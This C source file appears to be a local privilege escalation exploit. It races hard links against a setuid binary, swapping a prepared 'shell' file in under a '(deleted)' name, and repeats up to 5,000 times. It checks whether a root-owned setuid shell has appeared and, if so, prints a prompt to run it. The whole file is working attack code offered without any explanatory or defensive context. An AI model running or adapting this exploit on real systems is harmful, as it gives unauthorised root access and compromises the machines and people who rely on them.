#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include "config.h"

int main (int argc, char **argv) {

	int x=0,status,w,pid,y=0;
	char linkfn[1024],linkfndeleted[1024],fnshell[1024];
	struct stat ft;

	snprintf(linkfn,sizeof(linkfn),"%s/p",PATH);
	snprintf(linkfndeleted,sizeof(linkfndeleted),"%s/p (deleted)",PATH);
	snprintf(fnshell,sizeof(fnshell),"%s/shell",PATH);

	if (stat(PATHSHELL,&ft)==0) {
			
		if (ft.st_uid == 0) {
				printf("Try: %s /bin/sh\n",PATHSHELL);
				return 0;                                
		}
                        
	}

	if (stat(VULNBIN,&ft)!=0) {
		printf("%s not found.\n",VULNBIN);
		return 0;
	}

        if (!(ft.st_mode & S_ISUID)) {
		printf("%s is not suid.\n",VULNBIN);
                return 0;
        }
	if (stat(fnshell,&ft)!=0) {
		printf("%s not found.\n",fnshell);
		return 0;
	}
	printf("Please wait.\n");
	for (y=0; y < 5000; y++) {

		unlink(linkfn);
		unlink(linkfndeleted);

		if (link(VULNBIN,linkfn)!=0) {
			perror("link");
			return -1;
		}

		if (link(fnshell,linkfndeleted)!=0) {
			perror("link");
			return -1;
		}

		pid = fork();

		if (pid == -1) {
			perror("fork");
			return -1;
		} else if (pid == 0) {
			// exec
			{		
				char *args[]={"p",NULL};
				//char *envp[]={"LD_BIND_NOW=1",NULL};
				char *envp[]={NULL};
				close(2);
				execve(linkfn,args,envp);
			}
			return 0;
	
		} else {
				if (unlink(linkfn)!=0) {
					perror("unlink:::");
					return -1;
				}
	
				if (link(fnshell,linkfn)!=0) {
					perror("link");
					return 1;
				}
			for (;;) {

	                        w = waitpid(pid, &status,WNOHANG);
	
	                        if (w == 0)  {
	                                if (x > 1) {
	                                        kill(pid,9);
	                                        x=0;
	                                }
	                                usleep(5000);
	                                x++;
	                                continue;
	                        }
	
	                        if (w == -1) {
	                                perror("waitpid");
	                                break;
	                        }

				break;

			}

			if (stat(PATHSHELL,&ft)==0) {

				if ((ft.st_uid == 0) && (ft.st_mode & S_ISUID)) {
					printf("Try: %s /bin/sh\n",PATHSHELL);
        			        unlink(linkfn);
		        	        unlink(linkfndeleted);
					return 0;
				}
			}

		}

	}

	printf("finished 5000 attempts without success. maybe not vulnerable?\n");
                
	unlink(linkfn);
	unlink(linkfndeleted);

	return 0;
}
